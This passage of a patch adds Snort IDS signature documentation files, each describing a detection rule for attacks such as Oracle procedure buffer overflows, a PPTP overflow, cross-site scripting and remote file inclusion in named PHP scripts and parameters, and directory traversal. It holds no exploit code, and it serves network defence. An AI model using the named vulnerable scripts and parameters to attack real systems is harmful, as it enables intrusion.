+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. No exploit code is required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2726.txt
+++ snort-2.8.5.2/doc/signatures/2726.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2726
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure add_priority_number
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2760.txt
+++ snort-2.8.5.2/doc/signatures/2760.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2760
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure define_column_group
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2859.txt
+++ snort-2.8.5.2/doc/signatures/2859.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2859
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure add_priority_char
+. This procedure is included in
+sys.dbms_repcat_conf.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000828.txt
+++ snort-2.8.5.2/doc/signatures/100000828.txt
@@ -0,0 +1,56 @@
+
+
+Rule:
+
+--
+Sid:
+100000828
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site scripting vulnerability in the "HiveMail" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site scripting vulnerability via the "cond" parameter in the "address.view.php" script used by the "HiveMail" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to retrieve sensitive data, execute system binaries or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using HiveMail
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2126.txt
+++ snort-2.8.5.2/doc/signatures/2126.txt
@@ -0,0 +1,129 @@
+Rule:
+
+--
+
+Sid:
+2126
+
+--
+
+Summary:
+This event is generated when a remote attacker attempts to overflow Microsoft's
+PPTP RAS service.  
+
+--
+
+Impact:
+Administrative Compromise.  This attack may permit executation of arbitrary
+commands with the privileges of the NT SYSTEM account.
+
+--
+
+Detailed Information:
+A buffer overflow exists when a malformed SCR (Start Control Request) PPTP 
+packet is received by the PPTP RAS service.  This may permit executation of
+arbitrary commands with the privileges of root. 
+
+--
+Affected Systems:
+Windows 2000 Professional
+Windows 2000 Server
+Windows 2000 Advanced Server
+
+--
+
+Attack Scenarios:
+Exploit code can be used to attack vulnerable PPTP RAS services to obtain
+SYSTEM level access to the remote host.
+
+--
+
+Ease of Attack:
+Difficult.  Currently Sourcefire is unaware of any publicly available 
+exploits for this vulnerability.
+
+--
+
+False Positives:
+PPTP clients that violate RFC2637 by generating overly long Host Name and
+Vendor Strings could potentially trigger this rule inadvertently.
+
+--
+
+False Negatives:
+None Known.
+
+--
+
+Corrective Action:
+Microsoft as released the following patches to correct the problem:
+
+Microsoft Windows 2000 Professional SP3:
+
+    Microsoft Patch Q329834
+    http://www.microsoft.com/windows2000/downloads/critical/q329834/default.asp?FinishURL=%2Fdownloads%2Frelease%2Easp%3FReleaseID%3D43606%26redirect%3Dno
+
+Microsoft Windows 2000 Server SP3:
+
+    Microsoft Patch Q329834
+    http://www.microsoft.com/windows2000/downloads/critical/q329834/default.asp?FinishURL=%2Fdownloads%2Frelease%2Easp%3FReleaseID%3D43606%26redirect%3Dno
+
+Microsoft Windows 2000 Advanced Server SP3:
+
+    Microsoft Patch Q329834
+    http://www.microsoft.com/windows2000/downloads/critical/q329834/default.asp?FinishURL=%2Fdownloads%2Frelease%2Easp%3FReleaseID%3D43606%26redirect%3Dno
+
+Microsoft Windows 2000 Terminal Services SP3:
+
+    Microsoft Patch Q329834
+    http://www.microsoft.com/windows2000/downloads/critical/q329834/default.asp?FinishURL=%2Fdownloads%2Frelease%2Easp%3FReleaseID%3D43606%26redirect%3Dno
+
+Microsoft Windows 2000 Advanced Server SP2:
+
+    Microsoft Patch Q329834
+    http://www.microsoft.com/windows2000/downloads/critical/q329834/default.asp?FinishURL=%2Fdownloads%2Frelease%2Easp%3FReleaseID%3D43606%26redirect%3Dno
+
+Microsoft Windows 2000 Professional SP2:
+
+    Microsoft Patch Q329834
+    http://www.microsoft.com/windows2000/downloads/critical/q329834/default.asp?FinishURL=%2Fdownloads%2Frelease%2Easp%3FReleaseID%3D43606%26redirect%3Dno
+
+Microsoft Windows 2000 Server SP2:
+
+    Microsoft Patch Q329834
+    http://www.microsoft.com/windows2000/downloads/critical/q329834/default.asp?FinishURL=%2Fdownloads%2Frelease%2Easp%3FReleaseID%3D43606%26redirect%3Dno
+
+Microsoft Windows 2000 Terminal Services SP2:
+
+    Microsoft Patch Q329834
+    http://www.microsoft.com/windows2000/downloads/critical/q329834/default.asp?FinishURL=%2Fdownloads%2Frelease%2Easp%3FReleaseID%3D43606%26redirect%3Dno
+
+Microsoft Windows XP Home SP1:
+
+    Microsoft Patch Q329834
+    http://download.microsoft.com/download/whistler/Patch/Q329834/WXP/EN-US/Q329834_WXP_SP2_x86_ENU.exe
+
+Microsoft Windows XP Professional SP1:
+
+    Microsoft Patch Q329834
+    http://download.microsoft.com/download/whistler/Patch/Q329834/WXP/EN-US/Q329834_WXP_SP2_x86_ENU.exe
+
+Microsoft Windows XP 64-bit Edition SP1:
+
+    Microsoft Patch Q329834
+    http://download.microsoft.com/download/whistler/Patch/Q329834/W64XP/EN-US/Q329834_WXP_SP2_ia64_ENU.exe
+
+--
+
+Contributors:
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-1214
+http://www.securityfocus.com/bid/5807
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1927.txt
+++ snort-2.8.5.2/doc/signatures/1927.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid: 
+1927
+
+--
+Summary:
+This event is generated when activity relating to spurious ftp traffic 
+is detected on the network.
+
+--
+Impact:
+Varies from information gathering to a serious compromise of an ftp 
+server.
+
+--
+Detailed Information:
+FTP is used to transfer files between hosts. This event is indicative of
+spurious activity in FTP traffic between hosts.
+
+The event may be the result of a transfer of a known protected file or 
+it could be an attempt to compromise the FTP server by overflowing a 
+buffer in the FTP daemon or service.
+
+In this case, the rule will generate an event due to the attempted
+transfer of an authorized_keys file. This file is used in ssh
+communications to authenticate a user without the need for a password.
+Retrieval of this file may allow an attacker to gain valuable
+information about the hosts allowed to gain access to the machine via
+ssh, included the hostname, IP address and the username belonging to the
+authorized user. The attacker may have access to the users .ssh directory in 
+which case the public and private keys for that user may also be at risk.
+
+--
+Attack Scenarios:
+A user may transfer sensitive company information to an external party 
+using FTP.
+
+An attacker might utilize a vulnerability in an FTP daemon to gain 
+access to a host, then upload a Trojan Horse program to gain control of 
+that host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow access to FTP resources from hosts external to the protected 
+network.
+
+Use secure shell (ssh) to transfer files as a replacement for FTP.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+The manual page for ssh on the system in question.
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1740.txt
+++ snort-2.8.5.2/doc/signatures/1740.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1740
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a PHP web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a PHP application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the PHP application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running PHP applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1711.txt
+++ snort-2.8.5.2/doc/signatures/1711.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1711
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000759.txt
+++ snort-2.8.5.2/doc/signatures/100000759.txt
@@ -0,0 +1,56 @@
+
+
+Rule:
+
+--
+Sid:
+100000759
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site scripting vulnerability in the "QTO File Manager" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site scripting vulnerability via the "edit" parameter in the "qtofm.php" script used by the "QTO File Manager" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to retrieve sensitive data, execute system binaries or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using QTO File Manager
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2339.txt
+++ snort-2.8.5.2/doc/signatures/2339.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid: 
+2339
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Verilink Netengine Broadband Routers.
+
+--
+Impact:
+Denial of Service (DoS)
+
+--
+Detailed Information:
+TFTP is used to transfer files between hosts. This event is indicative of spurious
+activity in TFTP traffic from a host to a router.
+
+It is possible for an attacker to expoit a DoS condition in
+Netengine routers. If a UDP packet containing a double-null opcode is
+sent to the router's TFTP port the router may crash, thus causing the
+DoS.
+
+--
+Affected Systems:
+	Verilink Netengine Broadband Routers
+
+--
+Attack Scenarios:
+An attacker may use a publicly available exploit script to take
+advantage of the vulnerability.
+
+--
+Ease of Attack:
+Simple. Exploit code exists.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <matthew.watchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2655.txt
+++ snort-2.8.5.2/doc/signatures/2655.txt
@@ -0,0 +1,70 @@
+Rule:
+
+-- 
+Sid:
+2655
+
+-- 
+Summary:
+This event is generated when an attempt is made to exploit a vulnerability
+associated with an HP WebJetAdmin web server.
+
+-- 
+Impact:
+A successful attack may allow the execution of arbitrary code as root on UNIX
+and SYSTEM on Windows on a vulnerable server.
+
+-- 
+Detailed Information:
+The HP Web JetAdmin application allows users to manage HP JetDirect-connected
+printers within their intranet using a browser. The httpd core supports an
+exported function called ExecuteFile. A vulnerability exists that allows the
+uploading and execution of unauthorized files by posting a malicious http
+request with the script /plugins/framework/script/content.hts in conjunction
+with ExecuteFile function to the web server. Discovery of the vulnerability is
+credited to FX of Phenoelit.
+
+-- 
+Affected Systems:
+	HP Web JetAdmin 6.5.
+
+-- 
+Attack Scenarios:
+An attacker can create upload and execute a malicious file on a vulnerable server.
+
+-- 
+Ease of Attack:
+Simple.
+
+-- 
+False Positives:
+None known.
+
+-- 
+False Negatives:
+The default HP Web JetAdmin port is 8000. If an administrator selects a
+different port on which to run the web server, no event will be
+generated. In that case, the rule should be altered to reflect the 
+port on which the web server runs. 
+
+-- 
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+-- 
+Contributors:
+Thomas Alex <talex@edhacker.com>
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Phenoelit:
+http://www.phenoelit.de/stuff/HP_Web_Jetadmin_advisory.txt>
+
+Hewlett-Packard:
+http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=PSD_HPSBPI01026
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2110.txt
+++ snort-2.8.5.2/doc/signatures/2110.txt
@@ -0,0 +1,53 @@
+Rule:
+
+--
+Sid:
+2110
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overflow condition in the Post Office Protocol (POP) command STAT.
+
+--
+Impact:
+Possible remote execution of arbitrary code leading to a remote root 
+compromise.
+
+--
+Detailed Information:
+A vulnerability exists such that an attacker may overflow a buffer by
+sending a line feed character to a POP server via the STAT command.
+
+--
+Attack Scenarios:
+Simple.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+RFC 1939:
+http://www.faqs.org/rfcs/rfc1939.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/823.txt
+++ snort-2.8.5.2/doc/signatures/823.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+823
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/111-17.txt
+++ snort-2.8.5.2/doc/signatures/111-17.txt
@@ -0,0 +1,64 @@
+Rule: 
+
+--
+Sid: 
+111-17
+
+-- 
+Summary: 
+This event is generated when the pre-processor stream4
+detects network traffic that may constitute an attack.
+
+-- 
+Impact: 
+Unknown. This may be an IDS evasion attempt.
+
+--
+Detailed Information:
+The pre-processor stream4 has detected a TCP session that contains
+retransimitted data without the necessary retransmission request. This
+may be an attempt to evade any monitoring IDS.
+
+It may be possible for an attacker to send multiple small packets to a
+host then disguise an actual attack in a retransmitted packet to that
+same host.
+
+--
+Affected Systems:
+	All systems
+
+--
+Attack Scenarios: 
+An attacker could cause a host to send multiple acknowledgement packets
+then supply one large malicious packet to the host disguised as a
+retransmission of data.
+
+-- 
+Ease of Attack: 
+Difficult.
+
+-- 
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action:
+Check the target host for signs of compromise.
+
+Ensure the system is up to date with any appropriate vendor supplied patches.
+
+--
+Contributors:
+Martin Roesch <roesch@sourcefire.com>
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2581.txt
+++ snort-2.8.5.2/doc/signatures/2581.txt
@@ -0,0 +1,77 @@
+Rule:
+
+--
+Sid:
+2581
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a directory
+traversal associated with the Crystal Reports web viewer.
+
+--
+Impact:
+A successful attack may allow unauthorized files to be viewed or
+possibly deleted.
+
+--
+Detailed Information:
+A vulnerability exists in the Crystal Reports web viewer that may permit
+an attacker to view or delete unauthorized files.  The is due to a
+failure to ensure that that a requested Crystal Report file location
+is in the web root directory, permitting unauthorized files to be
+viewed.
+
+In addition, Crystal Reports assumes that the requested report
+file for viewing is a temporary file and deletes it after the
+web version has been viewed.  This problem combined with the
+directory traversal vulnerability may allow sensitive or valuable
+files to be deleted.
+
+--
+Affected Systems:
+Crystal Reports 8.5 JAVA SDK
+Crystal Reports RAS 8.5 for UNIX
+Crystal Reports 9.0
+Crystal Enterprise 9.0
+Crystal Reports 10
+Crystal Reports 10.0
+
+--
+Attack Scenarios:
+An attacker can request to view a file not in the web root
+directory, permitting unauthorized information disclosure.
+The viewed file will be deleted subsequently possibly causing
+harm to the server.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References
+
+CVE:
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0204
+
+Other:
+http://www.microsoft.com/security/bulletins/200406_crystal.mspx
+
+--
--- snort-2.8.5.2.orig/doc/signatures/502.txt
+++ snort-2.8.5.2/doc/signatures/502.txt
@@ -0,0 +1,71 @@
+Rule:  
+
+--
+Sid:
+502
+
+--
+Summary:
+This event is generated when an IPv4 packet set the strict source record
+route IP option.
+
+--
+Impact:
+Information could be gathered about network topology, and machines
+routing packets onto trusted links could be abused.
+
+--
+Detailed Information:
+Strict source record routing specifies a series of machines which must 
+be exclusively used in the routing of a datagram.  This can be useful to
+map out routes ala the traceroute program by adding discovered 
+intermediary routers one at a time.  Furthermore, while a machine may 
+normally be unreachable due to default gateways, a compliant router can 
+be forced to hand off source routed packets to an intermediary capable 
+of speaking both to the outside world and target machines; the packet 
+may then be forwarded on to its destination.
+
+--
+Affected Systems:
+Any machine fully implementing RFC 791 set up as a router.
+
+--
+Attack Scenarios:
+By incrementing the TTL of successive packets, the topology of routes to
+a host can be determined.  Each compliant node along the way will reply
+with an ICMP Time Exceeded bearing their address and the recorded route.
+
+--
+Ease of Attack:
+Tools are readily available to employ source routing for the purpose of
+network discovery; the bounce attack described is unlikely to surface in
+a properly configured network.
+
+--
+False Positives:
+None
+
+--
+False Negatives:
+Network discovery can be done using other means than source routing.
+
+--
+Corrective Action:
+Redesign network topologies so that routers are kept to a minimum;
+disable routing by other machines.  To prevent network mapping, don't
+allow source-routed packets at all. 
+
+--
+Contributors:
+Snort documentation contributed by by Nick Black, Reflex Security <dank@reflexsecurity.com>
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+IP RFC:
+www.faqs.org/rfcs/rfc791.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000797.txt
+++ snort-2.8.5.2/doc/signatures/100000797.txt
@@ -0,0 +1,56 @@
+
+
+Rule:
+
+--
+Sid:
+100000797
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site scripting vulnerability in the "Pivot" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site scripting vulnerability via the "c2" parameter in the "blogroll.php" script used by the "Pivot" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to retrieve sensitive data, execute system binaries or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using Pivot
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000647.txt
+++ snort-2.8.5.2/doc/signatures/100000647.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000647
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "user_search.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the "user_search.php" 
+script used by the "Indexu" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1802.txt
+++ snort-2.8.5.2/doc/signatures/1802.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+1802
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server running Microsoft Internet Information
+Server.
+
+--
+Impact:
